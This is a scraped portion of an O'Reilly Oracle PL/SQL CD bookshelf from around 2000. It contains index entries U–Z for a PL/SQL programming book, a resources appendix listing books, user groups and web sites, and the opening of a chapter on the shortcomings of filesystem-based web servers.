access to compiled code : 25.2. Tuning Access to Compiled Code
access to data : 25.3. Tuning Access to Your Data
analyzing performance : 25.1. Analyzing Program Performance
optimizing algorithms : 25.4. Tuning Your Algorithms
TYPE ... RECORD statement : 9.4.1. Declaring Programmer-Defined Record TYPEs
%TYPE attribute
1.7.2. Synchronize Program and Data Structures
4.5. Anchored Declarations
4.7.7. Use %TYPE When a Variable Represents a Column
15.6.1.1. %TYPE and %ROWTYPE
TYPE declarations, in packages : 16.3. The Package Specification
type modifiers
18.2.3. Adding Complex Data Structures
REFs as : 18.4.2.2. REFs
TYPE statement
9.4.1. Declaring Programmer-Defined Record TYPEs
for tables : 10.4.1. Defining the Table TYPE
types, data : (see datatypes)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

Index: U

UID function : 13.3.7. The UID function
UML (Unified Modeling Lanuage) : 18.1.4.3. Inheritance
unconstrained datatypes : 4.6. Programmer-Defined Subtypes
unconstrained declaration : (see parameters)
undefined table rows : 10.5.2. Referencing an Undefined Row
unhandled exceptions : (see exceptions)
Unified Modeling Lanuage : 18.1.4.3. Inheritance
UNIQUE_SESSION_ID function : C.12.9. The UNIQUE_SESSION_ID function
UNIQUE_SESSION_NAME function : C.10.9. The UNIQUE_SESSION_NAME function
unlocking records : 6.11.1. Releasing Locks with COMMIT
unnamed constants : (see literals)
UNPACK_MESSAGE procedure : C.10.10. The UNPACK_MESSAGE procedure
UPDATE statement
(see also DML statements)
4.2.3.2. The VARCHAR2 and VARCHAR datatypes
10.3. PL/SQL Tables and DML Statements
THE function with : 19.5.1. The THE Pseudo-function
WHERE CURRENT OF clause : 6.11.2. The WHERE CURRENT OF Clause
UPPER function : 11.1.16. The UPPER function
uppercase : (see case)
USE_ROLLBACK_SEGMENT procedure : C.15.13. The USE_ROLLBACK_SEGMENT procedure
user
ID number of : 13.3.7. The UID function
name of : 13.3.8. The USER function
session : 13.3.9. The USERENV function
USER function : 13.3.8. The USER function
USER_DEPENDENCIES view, SQL : 23.6.1. Displaying Object Dependencies
USER_EXPORT procedure : C.5.9. The USER_EXPORT procedure
USER_OBJECT_SIZE view, SQL : 23.6.3. Analyzing the Size of PL/SQL Code
USER_OBJECTS view, SQL : 23.6.2. Displaying Information About Stored Objects
USER_SOURCE view, SQL : 23.6.4. Displaying and Searching Source Code
USERENV function : 13.3.9. The USERENV function
utility modules
C.16. DBMS_UTILITY
24.2.8. Leverage Existing Utilities -- Or Build Your Own
for analyzing performance : 25.1. Analyzing Program Performance
UTL_FILE package : C.17. UTL_FILE
UTLBSTAT, UTLESTAT scripts : 25.1. Analyzing Program Performance

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

Index: V

validating
foreign key entry (example) : 6.13.1. Validating Foreign Key Entry with Cursors
modules : 23.3. Module Validation and Dependency Management
parameters and assumptions : 22.2.4. Use Assertion Modules to Validate Parameters and Assumptions
VALUE operator : 18.4.2.3. VALUE
VALUE_ERROR exception : 8.3.1. Named System Exceptions
VALUES list, functions in : 17.1. Looking at the Problem
VARCHAR datatype : 4.2.3.2. The VARCHAR2 and VARCHAR datatypes
VARCHAR2 datatype : 4.2.3.2. The VARCHAR2 and VARCHAR datatypes
converting to CHAR : 4.2.3.2. The VARCHAR2 and VARCHAR datatypes
converting to/from ROWID : 14.2.1. The CHARTOROWID function
variable arrays, objects for : 18.1.2. Some Simple Examples
variable-size arrays : (see VARRAYs)
VARIABLE_VALUE procedure : C.14.16. The VARIABLE_VALUE procedure
variables
(see also datatypes)
1.4.3.2. Expanded set of datatypes for variables and constants
4. Variables and Program Data
4.2. Scalar Datatypes
Boolean : (see Boolean variables)
collection variables
19.2.2.1. Collection variables
19.4.1. Initializing Collection Variables
combining scalars and aggregates : 17.8.2. Combining Scalar and Aggregate Values
constants : (see literals)
converting to named constants : 4.7.5. Convert Variables into Named Constants
correlation variables : 18.4.2.2. REFs
cursor : 1.4.5.2. Cursor variables
cursor variables
6.2.1. Types of Cursors
6.12. Cursor Variables
restrictions on : 6.12.8. Cursor Variable Restrictions
in cursors : 6.4.2. PL/SQL Variables in a Cursor
declaring : 4.4. Variable Declarations
in packages : 16.3. The Package Specification
default values for : 4.4.3. Default Values
fetching into : (see FETCH statement)
global : 22.5.4. Avoid Global Variables and Data Structures
package data as : 16.5.2. Global Within a Single Oracle Session
IN OUT mode : 15.6.2.3. The IN OUT mode
local
objects for : 18.1.2. Some Simple Examples
performance and : 25.4.3. Rely on Local Variables to Improve Performance
names for
(see also identifiers)
1.7.5. Structured Code and Other Best Practices
naming
4.1. Identifiers
4.7.1. Establish Clear Variable Naming Conventions
normalization of local : 4.5.1.2. Normalization of local variables
NULL : 4.3. NULLs in PL/SQL
package, stored functions and : 17.4. Restrictions on PL/SQL Functions in SQL
in packages
B.2.2. No Direct Stored Package Variable References
reducing memory usage of : 25.2.5. Reducing Memory Usage of Package Variables
recycling : 4.7.3. Avoid Recycling Variables
removing unused : 4.7.6. Remove Unused Variables from Programs
representing columns : 4.7.7. Use %TYPE When a Variable Represents a Column
simplifying logic with : 4.7.9. Use Variables to Hide Complex Logic
text : (see strings)
variable arrays : 1.4.7.3. Variable arrays and nested tables
VARRAYs (variable-size arrays) : 19.1. Types of Collections
adding/removing elements of : 19.4.3. Adding and Removing Elements
assigning values to elements : 19.4.2. Assigning Values to Elements: Index (Subscript) Considerations
CAST pseudo-function for : 19.5.2. The CAST Pseudo-function
defining : 19.2.1. Collections "In the Database"
initializing : 19.4.1. Initializing Collection Variables
integration of : 19.4.1.4. VARRAY integration
verifying string format : 11.2.5. Verifying String Formats with TRANSLATE
Version 1.1, PL/SQL : B. Calling Stored Procedures from PL/SQL Version 1.1
Version 2.0, PL/SQL : 1.4.3. PL/SQL Version 2.0
datatypes : B.2.1. No Server-Side PL/SQL Datatypes
RPCs : 23.4. Remote Procedure Calls
stubs : B.1. Using Stubs to Talk to Server-Side PL/SQL
Version 8.0, PL/SQL
1.4.7. PL/SQL Version 8.0
version 8 enhancements : 25.5. Overview of PL/SQL8 Enhancements
versions of Oracle, objects and : 18.1.3. Comparison: Oracle8 Objects and Earlier Features
versions, PL/SQL, working with multiple : 1.4.1. Working with Multiple Versions of PL/SQL
views, dropping : 20.3.2. DROP: Dropping Views and Triggers
views, object (see objects, object views)
virtual REFs : 20.3.3. MAKE_REF: Returning a Virtual REF
defining : 20.4.2.1. Defining virtual REFs
DEREF function and : 20.4.2.4. DEREF: Interpreting a virtual REF
storing : 20.4.3. Storage of Virtual REFs
virtual tables : 6.2. Cursors in PL/SQL
visibility of identifiers : 15.3.5. Scope and Visibility
VSIZE function : 13.3.10. The VSIZE function

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

Index: W

WAITANY procedure : C.2.6. The WAITANY procedure
WAITONE procedure : C.2.7. The WAITONE procedure
weak REF CURSOR type : (see cursor variables)
what parameter : (see DBMS_JOB)
WHAT procedure : C.5.10. The WHAT procedure
WHEN clause
(see also exceptions)
8.2. The Exception Section
WHEN OTHERS clause
8.2. The Exception Section
8.6. Handling Exceptions
SQLCODE, SQLERRM functions in : 8.6.3. Using SQLCODE and SQLERRM in WHEN OTHERS Clause
WHERE clause : 6.4.2. PL/SQL Variables in a Cursor
stored functions and : 17.4. Restrictions on PL/SQL Functions in SQL
WHERE CURRENT OF clause : 6.11.2. The WHERE CURRENT OF Clause
WHILE loops
7.5. The WHILE Loop
7.7.2.2. EXIT and EXIT WHEN statements
formatting : 3.3.2. Formatting Loops
to fill table rows : 10.6.2. Iterative Assignment
whitespace
(see also formatting code)
2.2.2. Whitespace and Keywords
3.1.1. Revealing Logical Structure with Indentation
3.6.4. Maintain Indentation
adding to strings : 11.1.8. The LPAD function
and CHR function : 11.1.2. The CHR function
in comments : 3.6.4. Maintain Indentation
in CHAR variables : (see CHAR datatype)
and justifying text : 11.2.3. Filling Text to Fit a Line
stripping from strings
11.1.12. The RTRIM function
11.1.9. The LTRIM function
suppressing : 14.3.1. FM: Suppressing Blanks and Zeros
whole numbers : 4.2.1.1. Binary integer datatypes
Windows NT, determining free disk space (example) : 21.1.1. Example: Determining Free Disk Space on Windows NT
WNDS purity code : 17.5.1. The RESTRICT_REFERENCES Pragma
WNPS purity code : 17.5.1. The RESTRICT_REFERENCES Pragma
word wrap : 11.2.2. Implementing Word Wrap for Long Text
WORK keyword : 6.1.1. The COMMIT Statement
work queue, managing (example) : 6.13.2. Managing a Work Queue with SELECT FOR UPDATE
wrap executable : 23.7.1. How to Encrypt Code
WRAP_UP procedure : C.13.7. The WRAP_UP procedure
wrapping code : (see encrypting code)
WRITE procedure : C.6.16. The WRITE procedure
write-only parameters : (see OUT mode)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

Index: Y

year : (see date)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

Index: Z

ZERO_DIVIDE exception : 8.3.1. Named System Exceptions

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Oracle PL/SQL Programming Search Page

Oracle Built-in Packages

Oracle PL/SQL ProgrammingSearch this book

Full Text Search

If you are having difficulty searching, or if you have not used this search utility before, please read this.

The Oracle PL/SQL CD Bookshelf Navigation Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Appendix A] Appendix: Resources for the Oracle Web Developer

Oracle Web Applications: PL/SQL Developer's Introduction

Oracle Web Applications: PL/SQL Developer's IntroductionSearch this book
Previous: 9.7 XML and iFS Appendix A Next: A.2 Other Publications

A. Appendix: Resources for the Oracle Web Developer

Contents:
Books
Other Publications
Organizations
Web Sites
Discussion Groups

In this appendix, I've pulled together a variety of resources -- both online and offline -- that you'll find helpful as you develop Oracle web applications.

A.1 Books

There are many books on the market describing Oracle and the Web. I list here those titles I find the most helpful and accurate:

  • Ken Arnold, James Gosling, 1997 Addison-Wesley, The Java Programming Language
    Coauthored by the creator of Java, this valuable introduction explains much of the rationale behind the language.

  • Bradley D. Brown, Richard J. Niemiec, Joseph C. Trezzo, 1998 Oracle Press, Oracle Application Server Web Toolkit Reference
    This large book contains a lot of helpful information about OAS and Oracle's other web products.

  • LLC Dynamic Information Systems, 1997 Oracle Press, Oracle Web Application Server Handbook
    This book is not current with the latest Oracle software, but it contains useful discussions of building web systems with PL/SQL and other tools.

  • Bruce Eckel, 1998 Prentice Hall Computer Books, Thinking in Java
    A popular and comprehensive introduction to Java that doesn't pull any punches when it comes to criticizing aspects of the language that could be improved.

  • Steven Feuerstein, Bill Pribyl, 1997 O'Reilly & Associates, Oracle PL/SQL Programming, Second Edition
    Hands down, the definitive guide to PL/SQL: if you need information about PL/SQL, it's in this book. The second edition has been updated for Oracle8.

  • Steven Feuerstein, 1999 O'Reilly & Associates, Oracle PL/SQL Programming: Guide to Oracle8i Features
    This small book supplements Oracle PL/SQL Programming by providing an up-to-date discussion of the Oracle8i enhancements to PL/SQL.

  • Feuerstein Steven, Charles Dye, John Beresniewicz, 1998 O'Reilly & Associates, Oracle Built-in Packages
    The follow-up volume to Oracle PL/SQL Programming. Presents detailed information about the vast array of packages built into the Oracle database.

  • David Flanagan, 1997 O'Reilly & Associates, Java in a Nutshell, Second Edition
    Provides a compact reference to the classes, methods, and variables in the Java API, practical real-world example programs, and a comprehensive overview of Java.

  • Rick Greenwald, 1999 IDG Books Worldwide, Oracle WebDB Bible
    A very current and complete discussion of Oracle's WebDB product.

  • Chuck Musciano, Bill Kennedy, 1999 O'Reilly & Associates, HTML: The Definitive Guide, Third Edition
    The most thorough description of all aspects of the HTML language, including models for writing your own web pages.

  • Louis Rosenfeld, Peter Morville, 1998 O'Reilly & Associates, Information Architecture for the World Wide Web
    Describes architectural principles for web sites: how to design web sites that are easier to use, manage, and expand.

  • John E. Simpson, 1998 Prentice Hall Computer Books, Just XML
    A breezy tone and simple style belies the wealth of information contained in this useful book. Bonus: you'll learn as much about B movie trivia as you will about Extensible Markup Language.

  • Stephen Spainhour, Valerie Quercia, 1999 O'Reilly & Associates, Webmaster in a Nutshell, Second Edition
    A quick reference to a wide variety of information needed by web developers and administrators, including HTML, CGI, JavaScript, Perl, HTTP, and server configuration.

  • Lincoln D. Stein, 1995 Addison Wesley, How to Set Up and Maintain a World Wide Web Site
    An excellent, clear, and complete book on installing and administering web servers and authoring in HTML, with a web page style guide and web security recommendations.

  • Marlene Theriault, William Heney, 1998 O'Reilly & Associates, Oracle Security
    The definitive source of information on security and its implementation in the Oracle environment.

Previous: 9.7 XML and iFS | Oracle Web Applications: PL/SQL Developer's Introduction | Next: A.2 Other Publications
9.7 XML and iFS | Book Index | A.2 Other Publications
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Appendix A] A.2 Other Publications

Oracle Web Applications: PL/SQL Developer's Introduction

Oracle Web Applications: PL/SQL Developer's IntroductionSearch this book

A.2 Other Publications

Select

This publication, produced as a membership benefit by the International Oracle Users Group-Americas (IOUG-A), contains a variety of articles and columns on web issues, as well as web-related tips, techniques, and practices.

Oracle Magazine

This magazine, published by Oracle Corporation, is primarily a marketing tool, but also carries articles (often by Oracle technical staff) on current web issues.

In addition, many Oracle user groups and special interest groups publish newsletters that contain useful information for Oracle web developers.

Previous: A.1 Books | Oracle Web Applications: PL/SQL Developer's Introduction | Next: A.3 Organizations
A.1 Books | Book Index | A.3 Organizations
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Appendix A] A.3 Organizations

Oracle Web Applications: PL/SQL Developer's Introduction

Oracle Web Applications: PL/SQL Developer's IntroductionSearch this book

A.3 Organizations

International Oracle Users Group-Americas (IOUG-A)

401 North Michigan Avenue
Chicago, IL 60611
Voice: 1-312-245-1579
Fax: 1-312-527-6785
Email: iouga@ioug.org

Asia-Pacific Oracle Users Group

PO Box 3046
The Pines, Doncaster East
VIC 3109, Australia
Voice: +61 3 9842 3246
Fax: +61 3 9842 3050
Email: 100242.1746@compuserve.com

European Oracle Users Group (EOUG)

Brigittenauer L鋘de 50-54
A-1203 Vienna, Austria
Voice: +43 1 33777 870
Fax: +43 1 33777 873
Email: eoug@at.oracle.com

Previous: A.2 Other Publications | Oracle Web Applications: PL/SQL Developer's Introduction | Next: A.4 Web Sites
A.2 Other Publications | Book Index | A.4 Web Sites
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Appendix A] A.4 Web Sites

Oracle Web Applications: PL/SQL Developer's Introduction

Oracle Web Applications: PL/SQL Developer's IntroductionSearch this book

A.4 Web Sites

http://www.oracle.com

The web site of Oracle Corporation. Contains a wide variety of pages of interest to Oracle web developers, as well as links to other web development resources, including Oracle Support.

http://www.ioug.org

Operated by the IOUG-A. Contains technical articles from Select magazine, papers from IOUG-Alive conferences, a technical discussion forum, and other areas of interest to Oracle web developers.

http://www.eoug.org

The web site of the EOUG. Contains information of general interest to Oracle web developers, information about EOUG conferences and educational events, and information about European, Middle Eastern, and African user groups.

http://apoug.oracle.com.sg

The web site of the Asia Pacific Oracle Users Group. Contains information of interest to Oracle users in the Asia and Pacific Rim regions, as well as useful links to other Oracle resources.

http://www.oug.com

Operated by a consortium of Oracle user groups and special interest groups. Contains a number of useful Oracle-related links.

http://www.revealnet.com

An online resource with useful articles and discussion forums for DB2 and Oracle developers.

Previous: A.3 Organizations | Oracle Web Applications: PL/SQL Developer's Introduction | Next: A.5 Discussion Groups
A.3 Organizations | Book Index | A.5 Discussion Groups
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Appendix A] A.5 Discussion Groups

Oracle Web Applications: PL/SQL Developer's Introduction

Oracle Web Applications: PL/SQL Developer's IntroductionSearch this book

A.5 Discussion Groups

comp.databases.oracle.server

This discussion group features a wide variety of information relating to Oracle server technology. It should be of interest to both new and experienced Oracle web developers

http://www.ioug.org

This web site includes a discussion area where items of interest to Oracle web developers are posted and discussed.

http://www.revealnet.com

Operated by a commercial vendor, RevealNet, but contains many free and useful resources. See especially the PL/SQL Pipeline, a discussion forum for PL/SQL developers. Includes archives full of papers and software, monthly tips and puzzles, and other useful links.

Previous: A.4 Web Sites | Oracle Web Applications: PL/SQL Developer's Introduction
A.4 Web Sites | Book Index
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 1] Introduction

Oracle Web Applications: PL/SQL Developer's Introduction

Oracle Web Applications: PL/SQL Developer's IntroductionSearch this book
Previous: Acknowledgments Chapter 1 Next: 1.2 Current Web Techniques Are Inadequate

1. Introduction

Contents:
The Internet Grows Up
Current Web Techniques Are Inadequate
Oracle's Solution -- Oracle8i
A Roadmap to Oracle8i

Since it burst on the scene in the early 1990s, the World Wide Web has transformed from a way (to quote Homer Simpson) to "let us know some nerd's opinion on Star Trek" to a whole new way of doing business. Hardly an area in the information technology industry has been unaffected. Developers who only yesterday were using COBOL to write accounts payable systems are now being asked to create a broad range of new Internet-based applications, including electronic commerce (e-commerce) web sites, internal data warehouses, and enterprise resource planning (ERP) systems.

Unfortunately, the filesystem architecture of most web systems is beginning to show its age. The new breed of web application, which is quickly becoming critical to companies' survival, demands a platform that provides production-quality tools for content management, application development, and application integration.

The new release of the Oracle database, Oracle8i, attempts to meet these and other objectives by building web technology on top of a relational database system, rather than on a filesystem. This type of development enables companies to apply well-understood, reliable, production-quality database methodologies to web content management. Oracle8i also supports a wide variety of application development platforms and tools that are tightly integrated to the core database. Finally, Oracle8i supports technologies that help you tie your web-based systems to legacy applications.

In this chapter, I'll examine these issues in more detail. I'll start with a look at the new web applications and why current web technology isn't an ideal platform for building them. Next, I'll look at how Oracle8i and its related products attempt to address the failings of previous web technologies. Finally, I'll lay out a roadmap you can use to get started with Oracle8i web development, so you can take full advantage of the Web.

1.1 The Internet Grows Up

Flush with both the successes of the World Wide Web and its potential to generate new revenues, companies are scrambling madly to exploit Internet technologies. Internet technology is now commonly required for at least four different types of projects: internal application projects, like data warehousing; mobile application projects, like sales-force automation; electronic commerce, like Internet storefronts; and enterprise resource planning (ERP) systems for automating business operations.

Internal applications are critical resources for a variety of users within a company. For example, developers must build web interfaces for data warehouses that often contain several terabytes of data. In addition to responding quickly, these systems must often meld several different kinds of data -- table data, images, and even videos -- into an attractive page.

Once these systems are in place and successful, developers are asked to create new systems called mobile applications that can extract subsets of the data warehouse for use on portable devices like laptops, PalmPilots, or other Personal Data Assistants (PDAs). These systems, often used by salesman or technical support personnel, allow users to work even when not connected to a network. The data these users enter is synchronized with production systems when the users reconnect to the main network.

Internet storefronts and other e-commerce applications let customers buy things over the Web. Increasingly, these applications are expected to integrate with existing order entry systems, provide continuous availability, and protect both the customer and the business from attacks by malicious hackers.

The most ambitious companies use Internet technologies to reduce costs through business-to-business enterprise resource planning systems, which let systems in one company communicate directly with systems in another company over the Internet. For example, an ERP system might let the purchasing system in company A place an order directly with the order entry system in company B. The goal is to automate everything from paying invoices to ordering paperclips. These hybrid sites must integrate many different application systems, from accounts receivable, to accounts payable, to order entry, into a single, cohesive unit that performs a complex series of transactions quickly, accurately, and securely.

Despite the diversity of these application systems, they share several characteristics:

  • Each system may deal with a variety of data: traditional relational data, multimedia data such as video or audio clips, structured files like spreadsheets, unstructured documents like emails or text, and web documents like HTML and, increasingly, XML.

  • The information in each system must be available to many types of clients: a workstation connected through a LAN or WAN, a web browser connected through the Internet or an intranet, a PalmPilot connected through a modem, or even an email client connected through a POP server.

  • Each system must understand and be compatible with multiple communications protocols, from Internet standards like HTTP, FTP, and CORBA, to proprietary protocols like Microsoft's SMB.

  • Most application systems are built by developers who are overworked and overstressed from keeping production systems running, maintaining legacy systems, and fighting the daily fires caused by hardware, software, and user problems.

It's tempting to keep trying to extend current web technologies to meet the additional demands of the new generation of Internet web sites and applications. Unfortunately, this effort is probably doomed to failure. While today's web servers comply with the requisite protocols, they are simply not designed to manage complex information, because they are, at heart, little more than networked extensions of traditional filesystems.

Previous: Acknowledgments | Oracle Web Applications: PL/SQL Developer's Introduction | Next: 1.2 Current Web Techniques Are Inadequate
Acknowledgments | Book Index | 1.2 Current Web Techniques Are Inadequate
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 1] 1.2 Current Web Techniques Are Inadequate

Oracle Web Applications: PL/SQL Developer's Introduction

Oracle Web Applications: PL/SQL Developer's IntroductionSearch this book

1.2 Current Web Techniques Are Inadequate

Sure, anyone with Microsoft FrontPage can put a human resources policy manual on the Web, but creating production web sites with existing web technology is simply too much work. Three broad problem areas in current web technology make it hard to build these new applications:

Content management

Although web servers are good at presenting content, they are bad at managing it. This is partially due to their filesystem-based architecture, which often does not include the ability to build searchable, maintainable, and auditable information systems.

Application development

A production setting requires tools that can scale both up and down, fit the needs of a specific user base, and are part of a complete developmental framework. Few, if any, current development techniques meet these criteria.

Application integration and electronic data exchange

It's too hard to integrate different systems. To make e-commerce and ERP a reality, a platform must provide a simple method to link different applications, whether they all reside in one site or are spread across multiple sites. Current web servers are only just beginning to address this issue.

Let's look at these problems in detail.

1.2.1 Content Management

Web servers are great for making information available to a wide audience. Unfortunately, they do very little to help web site developers manage all this information. An ideal platform would help us develop sites that make it easy for users to find what they are looking for, are easy to keep up to date, and allow easy tracking of site content changes.

1.2.1.1 Finding what you need

There's universal agreement that good web sites make it easy to find what you need. Unfortunately, the filesystem architecture of most web servers makes it difficult to put searches into specific, meaningful contexts.

Filesystems are used to manage files on the operating system level. To make it easier for users to find their files, the system automatically keeps various attributes, such as the file's name, size, creation date, and owner. When we create a spreadsheet, for instance, the system saves it and its attributes within the file structure. Later, if we forget the particular name of the file, we can search for it based on its attributes. For example, in DOS we can enter dir *.xls /s to find all Excel spreadsheets within the various subdirectories, then look at the name or date to find the file we want.

This works great when you are sitting at a command line looking for a file that you created. The model breaks down, however, when you attempt to extend it to the Web. When people are searching for files on the Web, they don't care about the file's name or size (unless they're using a 14.4 modem!). Since they care about the file's contents, not its properties, the attributes maintained by the filesystem are largely irrelevant.

Some sites use search engines to overcome this shortfall. When a user enters a search term, the engine churns through an index of all the documents and returns a list of links to the files containing the search terms. Some of the most popular sites on the Web, like Yahoo! or AltaVista, attempt to do this for all files on the Internet.

You only have to look for the term "sexual reproduction" on a web search engine to see how laughable this effort really is. While keyword searches can be helpful, they almost always fail to put the search into a meaningful context. For example, suppose I want a list of all works by Harper Lee. I should be able to enter something like "Give me a list of all works where Harper Lee is the author." With a keyword search, however, in addition to her only book, To Kill a Mockingbird, I'm likely to get dozens or hundreds of additional documents ranging from a brochure about Harper's Ferry, West Virginia, to a retrospective of Bruce Lee movies.

The simple fact of the matter is that effective searches on the Web require a broader, more flexible set of attributes than filesystems maintain. In addition to simply describing a file, a web server should automatically keep meaningful metadata[1] about the file's contents that puts a search into a specific context. This metadata should extend to all files, regardless of format. What if a document isn't ASCII at all or doesn't even represent a spoken language? For executable binaries, for example, it would be nice to be able to directly assign searchable attributes like "purpose" or "platform."

[1] Metadata is data about other data. For example, a file's size is metadata because it is data about the file, not part of the file itself.

1.2.1.2 Keeping sites up to date

A second problem with the current web server technologies' lack of integrated content management features is that it is too hard to keep a complex site up to date. Hyperlinks on the Web act as a mapping function between a logical name, like "Andrew's Homepage," to a literal file that resides on a specific machine, like C:\andrew\web_stuff \default.htm. These links, created through URLs, let us navigate from one page to another. The problem with this dual mapping system is that we have to make every update in two places, in the filesystem and in the URL. If someone deletes or moves a file, but forgets to change the corresponding URL on every page on which it appears, we are guaranteed to have broken links. It's probably impossible to manage this process manually on a large site.

This two-step process also creates extra work for the webmaster. Publishing a new document, for example, requires the webmaster to manipulate various files by hand: she must use FTP to copy the new document to the web server and must then edit an existing document (such as the home page) to add a link to the new file. While this process is fine for dozens, maybe even hundreds, of individual documents, it is unrealistic to expect to keep a site completely up to date when there are thousands, or even millions, of individual documents. Consequently, sites contain inaccurate information, broken links, and pages perennially under construction.

1.2.1.3 Tracking changes

Finally, current web servers don't have a way to automatically track all changes to a document. While some operating systems, like VMS, have automatic versioning systems web developers can exploit, most do not. Since the ability to audit changes is a fundamental requirement for any production information system, an ideal web system would handle it automatically.

Suppose a webmaster or an end user updates a file, and it turns out later that he or she made a mistake. How do we track down exactly what was changed and fix it? Most filesystems don't automatically maintain logs that let us reconstruct a complex sequence of changes. Instead, we must either rely on the webmaster's memory or reconstruct the sequence of events from backups. Filesystems are simply not designed to handle complex audit tracking.

1.2.2 Application Development

The Internet has also blurred the traditional line between applications and data to the point where it's unclear how to classify many sites. While a static HTML document is "content" and a Java applet is a "program," how do we classify hybrid systems that are a little bit of each? For example, a data warehouse might have a web interface that seems like a normal web site, but behind the scenes each page is generated dynamically by running a database query. Is this really a web site as we normally think of it, or is it closer to an application acting on underlying data? Although there is no clear agreement, the term content-driven web site, implying equal parts of data and application, is one of the best names for these sorts of sites.

In web parlance, the applications and programs that create content-driven web sites are called dynamic resources. Dynamic resources are unlike documents created with an HTML editor such as Microsoft FrontPage, although both types of documents are accessed over the Web using a URL, and both return an HTML document. A dynamic resource is a program that creates a page upon a user's request, not a static file that exists beforehand. While such a program traditionally generates HTML, it can create any type of content; for example, you could write a system to create a graph in GIF or JPEG format, using sales data stored in a database table.

